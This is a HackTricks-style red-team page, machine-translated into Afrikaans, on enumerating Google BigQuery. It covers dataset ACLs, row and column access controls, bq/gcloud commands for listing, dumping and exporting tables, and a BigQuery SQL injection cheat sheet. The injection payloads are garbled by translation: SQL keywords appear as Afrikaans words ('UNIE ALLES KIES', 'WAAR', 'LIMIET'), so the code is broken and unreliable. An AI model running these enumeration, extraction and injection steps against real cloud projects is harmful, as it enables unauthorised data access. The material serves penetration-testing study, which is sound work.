GCP - Bigquery Enum

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Google Cloud BigQuery is 'n volledig-bestuurde, serverlose ondernemingsdatawarehouse, wat moontlikhede bied vir ontleding oor petabytes van data, en sodoende groot-skaalse datastelle doeltreffend hanteer. As 'n Platform as a Service (PaaS) bied dit gebruikers infrastruktuur en gereedskap om data bestuur te vergemaklik sonder die noodsaak vir handmatige toesig.

Dit ondersteun kwyerye met behulp van ANSI SQL. Die hoof-objekte is datasets wat tables bevat wat SQL data bevat.

Versleuteling

Standaard word 'n Google-bestuurde versleutelingssleutel gebruik, alhoewel dit moontlik is om 'n Klant-bestuurde versleutelingssleutel (CMEK) te konfigureer. Dit is moontlik om die versleutelingssleutel per dataset en per tabel binne 'n dataset aan te dui.

Verval

Dit is moontlik om 'n vervaltyd in die dataset aan te dui sodat enige nuwe tabel wat in hierdie dataset geskep word, outomaties verwyder sal word die gespesifiseerde aantal dae na skepping.

Eksterne Bronne

Bigquery is diep geïntegreer met ander Google-diens. Dit is moontlik om data te laai vanaf emmers, pub/sub, Google Drive, RDS-databasisse...

Dataset ACL's

Wanneer 'n dataset geskep word, word ACL's geheg om toegang daartoe te gee. Standaard word Eienaar-privileges gegee oor die gebruiker wat die dataset geskep het en dan Eienaar aan die groep projectEienaars (Eienaars van die projek), Skrywer aan die groep projectSkrywers, en Leser aan die groep projectLesers:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Tabelrye Beheer Toegang

Dit is moontlik om die rye te beheer wat 'n hoofpersoon binne 'n tabel kan toegang met ry-toegangbeleide. Hierdie word binne die tabel gedefinieer deur gebruik te maak van DDL. Die toegangsbeleid definieer 'n filter en slegs die ooreenstemmende rye met daardie filter sal toeganklik wees vir die aangeduide hoofpersone.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kolom Toegangsbeheer

Om data-toegang op kolomvlak te beperk:

  1. Definieer 'n taksonomie en beleidstags. Skep en bestuur 'n taksonomie en beleidstags vir jou data. https://console.cloud.google.com/bigquery/policy-tags

  2. Opsioneel: Ken die Data Catalog Fynkorrelasieleser rol toe aan een of meer hoofde op een of meer van die beleidstags wat jy geskep het.

  3. Ken beleidstags toe aan jou BigQuery kolomme. In BigQuery, gebruik skema-annotasies om 'n beleidstag aan elke kolom toe te ken waar jy toegang wil beperk.

  4. Handhaaf toegangsbeheer op die taksonomie. Die handhawing van toegangsbeheer veroorsaak dat die toegangsbeperkings wat vir al die beleidstags in die taksonomie gedefinieer is, toegepas word.

  5. Bestuur toegang op die beleidstags. Gebruik Identity and Access Management (IAM) beleide om toegang tot elke beleidstag te beperk. Die beleid is van krag vir elke kolom wat aan die beleidstag behoort.

Wanneer 'n gebruiker probeer om kolomdata tydens 'n navraagtyd te benader, kontroleer BigQuery die kolombeleidstag en sy beleid om te sien of die gebruiker gemagtig is om die data te benader.

As opsomming, om die toegang tot sekere kolomme vir sekere gebruikers te beperk, kan jy 'n tag by die kolom in die skema voeg en die toegang van die gebruikers tot die tag beperk deur toegangsbeheer op die taksonomie van die tag af te dwing.

Om toegangsbeheer op die taksonomie af te dwing, moet die diens geaktiveer word:

gcloud services enable bigquerydatapolicy.googleapis.com

Dit is moontlik om die tages van kolomme te sien met:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Opsomming

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Vir verdere inligting kan jy die blogpos lees: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier sal net 'n paar besonderhede gegee word.

Opmerkings:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Maar net die aanvanklike een sal nie werk nie

  • select 1--from here it is not working

Kry inligting oor die omgewing soos:

  • Huidige gebruiker: select session_user()

  • Projek id: select @@project_id

Kry datasets, tabelle en kolom name:

  • Projek en dataset naam:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Kolom en tabel name:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • Ander datastelle in dieselfde projek:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQL Injection tipes:

  • Fout-gebaseerde - omsetting: select CAST(@@project_id AS INT64)

  • Fout-gebaseerde - deling deur nul: ' OF if(1/(length((select('a')))-1)=1,true,false) OF '

  • Unie-gebaseerde: UNIE ALLES KIES (KIES @@project_id),1,1,1,1,1,1)) AS T1 GROEP BY kolom_naam#

  • Booleaanse-gebaseerde: ' WAAR SUBSTRING((select kolom_naam from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potensiële tyd-gebaseerde - Gebruik van openbare datasets voorbeeld: KIES * VAN `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIET 1000

Dokumentasie:

Voorreg-escalasie & Post Exploitation

pageGCP - BigQuery Privesc

Volharding

pageGCP - BigQuery Persistence

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated